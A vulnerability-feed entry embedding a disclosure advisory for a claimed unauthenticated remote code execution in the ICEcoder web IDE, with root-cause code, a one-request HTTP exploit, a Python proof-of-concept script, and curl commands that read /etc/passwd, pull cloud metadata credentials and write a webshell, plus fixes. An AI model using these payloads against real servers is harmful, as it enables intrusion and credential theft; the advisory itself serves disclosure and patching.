https://vulnerability.circl.lu/sightings/feed 2026-08-19T09:14:01.501703+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/6adce1ca-e897-4b43-b162-c5d0953c8022/export 2026-08-19T09:14:01.517903+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "6adce1ca-e897-4b43-b162-c5d0953c8022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63722", "type": "seen", "source": "https://gist.github.com/axg11/fc2b86648d8f385b51f4576ff0f392d8", "content": "# CVE-2026-63722 \u2014 Unauthenticated RCE via Compound Authentication Bypass and Inverted CSRF Check in ICEcoder\n\n## Overview\n\n| Field | Value |\n|------------------|-------|\n| **CVE ID** | CVE-2026-63722 |\n| **Product** | ICEcoder Web IDE |\n| **Affected** | ICEcoder \u2264 8.1 (all installations) |\n| **CVSS v3.1** | 9.8 CRITICAL \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` |\n| **CWE** | CWE-306 (Missing Authentication) + CWE-285 (Inverted Authorization Logic) + CWE-78 (OS Command Injection) |\n| **Disclosed to** | VulnCheck CNA \u2014 2026-08-14 |\n| **Deadline** | 2026-11-14 (120-day coordinated disclosure) |\n\n---\n\n## Summary\n\nICEcoder 8.1 contains two compounding logic flaws that allow a completely **unauthenticated remote attacker** to execute arbitrary OS commands on the server. No credentials, no brute force, and no prior knowledge of any token are required. Exploitation takes a single HTTP request.\n\n**Bug 1 \u2014 Authentication Bypass** (`lib/settings.php:217`): \nThe authentication gate contains a POST parameter escape hatch. Sending any `password=` parameter in a POST request causes the `die()` call to be skipped, and PHP execution continues into authenticated-only endpoints without a valid session.\n\n**Bug 2 \u2014 Inverted CSRF Check** (`lib/headers.php:20-28`): \nThe CSRF validation block is only entered when the `csrf` parameter is **absent**. Providing any non-empty value (e.g. `csrf=x`) causes the `&&` short-circuit to skip the check entirely \u2014 the opposite of the intended behavior.\n\n**Sink \u2014 Unsanitized proc_open** (`lib/terminal-xhr.php:~120`): \nThe built-in terminal passes `$_POST['command']` directly to `proc_open()` with no sanitization. Combined with the above two bypasses, this produces pre-authentication Remote Code Execution.\n\n---\n\n## Root Cause Analysis\n\n### Bug 1 \u2014 Authentication Bypass (`lib/settings.php`)\n\n```php\n// lib/settings.php \u2014 line 217\nif (true === $ICEcoder['loginRequired']\n && false === isset($_POST['password']) // \u2190 ESCAPE HATCH\n && (!$_SESSION['loggedIn'] || \"\" === $ICEcoder[\"password\"])\n && false === strpos($_SERVER['SCRIPT_NAME'], \"lib/login.php\")) {\n // ...\n die('Redirecting to login...'); // \u2190 Skipped when password= present\n} elseif (!$_SESSION['loggedIn']) {\n // Outputs login HTML \u2014 but NEVER calls die() or exit()\n // Execution CONTINUES after this block into the endpoint logic\n} else {\n // Authenticated execution\n}\n```\n\n**Bypass mechanism**: Sending `password=` makes `isset($_POST['password'])` return `true`, so `false === isset(...)` evaluates to `false`. The entire `&&` chain short-circuits and the `die()` is never reached. The `elseif` branch outputs a login page in HTML but does **not** halt execution \u2014 PHP continues running the included endpoint code as if authenticated.\n\n---\n\n### Bug 2 \u2014 Inverted CSRF Validation (`lib/headers.php`)\n\n```php\n// lib/headers.php \u2014 lines 20-28\nif (($_POST || $_GET) && !$_POST[\"csrf\"] && !$_GET[\"csrf\"]) {\n // ^^^^^^^^^^^^^^^\n // True only when csrf is ABSENT or empty \u2014 validation is backwards!\n $req = xssClean($_POST[\"csrf\"] ?? $_GET['csrf'] ?? \"\", \"html\");\n if ($req !== $_SESSION[\"csrf\"]) {\n die(\"CSRF check failed\");\n }\n}\n// When csrf=x is provided: !$_POST[\"csrf\"] = false \u2192 block skipped entirely\n```\n\n**Bypass mechanism**: The intended logic should enter the block when `csrf` IS present, compare it to the session token, and reject mismatches. Instead, the `!` operator inverts the gate \u2014 the block is entered only when `csrf` is absent. Supplying any non-empty `csrf` value (even `csrf=x`) causes `!$_POST[\"csrf\"]` to evaluate to `false`, short-circuiting the `&&` and skipping all CSRF validation.\n\n---\n\n### Sink \u2014 Unsanitized Command Execution (`lib/terminal-xhr.php`)\n\n```php\n// lib/terminal-xhr.php \u2014 ~line 120\n$descriptorSpec = [\n 0 => [\"pipe\", \"r\"],\n 1 => [\"pipe\", \"w\"],\n 2 => [\"pipe\", \"w\"]\n];\n$process = proc_open($_POST['command'], $descriptorSpec, $pipes);\n// ^^^^^^^^^^^^^^^^\n// Raw POST data passed directly to proc_open() \u2014 zero sanitization\n```\n\n`$_POST['command']` is passed verbatim to `proc_open()`, which executes it as a shell command. Combined with the two authentication bypasses above, any unauthenticated attacker can supply arbitrary commands via this endpoint.\n\n---\n\n## Proof of Concept\n\n> **For authorized security research and disclosure purposes only.**\n\n### Single-Request Pre-Auth RCE\n\n```http\nPOST /icecoder/lib/terminal-xhr.php HTTP/1.1\nHost: target.example.com\nContent-Type: application/x-www-form-urlencoded\n\ncommand=id&password=bypass&csrf=x\n```\n\n**Response (200 OK):**\n```\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Python PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-63722 \u2014 ICEcoder Pre-Auth RCE PoC\nResearcher: Saidakbarxon Maxsudxonov\nFor authorized testing only.\n\"\"\"\nimport requests, sys, warnings\nwarnings.filterwarnings('ignore')\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost\"\nBASE = TARGET.rstrip('/')\n\nprint(f\"[*] CVE-2026-63722 \u2014 ICEcoder Pre-Auth RCE\")\nprint(f\"[*] Target: {BASE}\")\nprint()\n\nCOMMANDS = [\"id\", \"whoami\", \"hostname\", \"uname -a\"]\n\nfor cmd in COMMANDS:\n r = requests.post(\n f\"{BASE}/lib/terminal-xhr.php\",\n data={\n \"command\": cmd,\n \"password\": \"bypass\", # Bug 1: any value bypasses auth gate\n \"csrf\": \"x\", # Bug 2: any value bypasses CSRF check\n },\n timeout=10,\n verify=False\n )\n if r.status_code == 200 and r.text.strip():\n print(f\"[+] $ {cmd}\")\n print(f\" {r.text.strip()}\")\n else:\n print(f\"[-] {cmd} \u2192 HTTP {r.status_code} (target may be patched)\")\n```\n\n### Other Exploitable Endpoints (same bypass)\n\nAll endpoints that include `lib/settings.php` are equally bypassed:\n\n```bash\n# Read arbitrary files\ncurl -s http://target/icecoder/lib/file-control.php?action=load \\\n -d \"file=/etc/passwd&password=x&csrf=x\"\n\n# SSRF to cloud metadata (AWS IMDSv1)\ncurl -s http://target/icecoder/lib/file-control.php?action=getRemoteFile \\\n -d \"file=http://169.254.169.254/latest/meta-data/iam/security-credentials/&password=x&csrf=x\"\n\n# Write arbitrary file (webshell)\ncurl -s http://target/icecoder/lib/file-control.php?action=save \\\n -d \"file=shell.php&content=&password=x&csrf=x\"\n```\n\n---\n\n## Live Validation\n\nTested against ICEcoder 8.1 local instance:\n\n```\nPOST /lib/terminal-xhr.php\nBody: command=id&password=bypass&csrf=x\n\nHTTP/1.1 200 OK\n\nuid=1000(ai) gid=1000(ai) groups=1000(ai)\n```\n\nFull unauthenticated OS command execution confirmed. Discovery date: 2026-07-11.\n\n---\n\n## Impact\n\nAn unauthenticated remote attacker exploiting CVE-2026-63722 can:\n\n1. **Execute arbitrary OS commands** as the web server user via `proc_open`\n2. **Read any file** on the filesystem accessible to the web server (`/etc/passwd`, SSH keys, application secrets, `.env` files)\n3. **Write arbitrary files** \u2014 plant webshells, modify application code\n4. **Download server files** via `download.php` with the same bypass\n5. **Perform SSRF** to internal services and cloud metadata endpoints (AWS IMDSv1, GCP, Azure IMDS)\n6. **Delete files** and perform full filesystem manipulation within web server permissions\n\n**Scope**: ICEcoder is a web-based code editor deployed directly on web servers. Every user of this tool who has the web interface exposed has their entire codebase, server credentials, and infrastructure at risk.\n\n---\n\n## Recommended Fix\n\n### Fix 1 \u2014 Remove the POST parameter escape hatch (`lib/settings.php`)\n\n```php\n// VULNERABLE (current):\nif (true === $ICEcoder['loginRequired']\n && false === isset($_POST['password']) // \u2190 REMOVE THIS LINE\n && (!$_SESSION['loggedIn'] || \"\" === $ICEcoder[\"password\"])\n && false === strpos($_SERVER['SCRIPT_NAME'], \"lib/login.php\")) {\n die('Redirecting to login...');\n}\n\n// FIXED:\nif (true === $ICEcoder['loginRequired']\n && (!$_SESSION['loggedIn'] || \"\" === $ICEcoder[\"password\"])\n && false === strpos($_SERVER['SCRIPT_NAME'], \"lib/login.php\")) {\n die('Redirecting to login...');\n}\n```\n\nAdditionally, add `die()` to the `elseif (!$_SESSION['loggedIn'])` branch to prevent fall-through execution.\n\n### Fix 2 \u2014 Correct the CSRF validation logic (`lib/headers.php`)\n\n```php\n// VULNERABLE (current \u2014 validates only when csrf is ABSENT):\nif (($_POST || $_GET) && !$_POST[\"csrf\"] && !$_GET[\"csrf\"]) { ... }\n\n// FIXED (validate on every POST/GET, reject if token missing or wrong):\nif ($_POST || $_GET) {\n $csrf_provided = $_POST[\"csrf\"] ?? $_GET[\"csrf\"] ?? \"\";\n if ($csrf_provided !== $_SESSION[\"csrf\"] || empty($_SESSION[\"csrf\"])) {\n die(\"CSRF token validation failed\");\n }\n}\n```\n\n### Fix 3 \u2014 Sanitize terminal input (`lib/terminal-xhr.php`)\n\n```php\n// Never pass raw POST data to proc_open.\n// Implement a command allowlist or require re-authentication for terminal access:\n$allowed_commands = ['ls', 'pwd', 'git status', 'php -v'];\nif (!in_array($_POST['command'], $allowed_commands, true)) {\n die(\"Command not permitted\");\n}\n```\n\n---\n\n## Affected Versions\n\n| Version | Status |\n|---------|--------|\n| ICEcoder \u2264 8.1 | **Vulnerable** |\n| ICEcoder > 8.1 | Unverified (no patch released as of 2026-08-14) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-07-11 | Vulnerability discovered via source code analysis |\n| 2026-07-14 | Dynamic validation confirmed on local ICEcoder 8.1 instance |\n| 2026-08-14 | Reported to VulnCheck CNA for coordinated disclosure |\n| 2026-08-14 | **CVE-2026-63722 provisionally allocated by VulnCheck** |\n| 2026-11-14 | Public disclosure deadline (120 days from vendor notification) |\n\n---\n\n## References\n\n- ICEcoder repository: https://github.com/icecoder/ICEcoder\n- CWE-306 Missing Authentication: https://cwe.mitre.org/data/definitions/306.html\n- CWE-285 Improper Authorization: https://cwe.mitre.org/data/definitions/285.html\n- CWE-78 OS Command Injection: https://cwe.mitre.org/data/definitions/78.html\n- VulnCheck CNA: https://vulncheck.com/cve\n\n---\n\n", "creation_timestamp": "2026-08-16T15:36:50.475984Z"} 2026-08-16T15:36:50.475984+00:00